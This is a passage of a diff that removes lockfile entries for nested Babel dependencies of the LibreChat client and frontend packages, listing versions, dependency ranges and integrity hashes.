- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/client/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
